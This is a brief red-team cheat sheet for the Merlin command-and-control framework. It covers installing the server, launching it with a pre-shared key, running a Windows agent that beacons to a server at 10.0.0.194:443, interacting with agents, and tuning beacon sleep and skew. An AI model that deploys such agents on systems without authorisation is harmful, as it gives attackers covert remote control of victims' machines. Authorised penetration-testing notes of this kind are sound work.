# Merlin

## Install Merlin

```
apt install golang
mkdir /opt/merlin
cd /opt/merlin
wget https://github.com/Ne0nd0g/merlin/releases/download/v0.8.0/merlinServer-Linux-x64-v0.8.0.BETA.7z
7z x merlinServer-Linux-x64-v0.8.0.BETA.7z
```

## Run Merlin

```bash
cd /opt/merlin
sudo ./merlinServer-Linux-x64 -i <IP> -psk <key>
```

### Agent Deployment

Download agent from releases: <https://github.com/Ne0nd0g/merlin/releases>

```bash
merlinAgent-Windows-x64.exe -url https://10.0.0.194:443 -psk test
```

![](https://684924954-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M1RMhTtc0RlMwyXtAM5%2F-M4P4mAdJ74F3G6Ot4-H%2F-M4P9f1OsrHr5MexHlla%2Fimage.png?alt=media\&token=6204d655-f68c-4046-8371-f1ece90ed45b)

### Interact with Agent

```bash
interact <Agent ID>
```

Visit wiki for additional information on interacting with an agent: <https://github.com/Ne0nd0g/merlin/wiki/Merlin-Server-Agent-Menu>

#### Test beacon delay

set sleep 10s

set skew 5
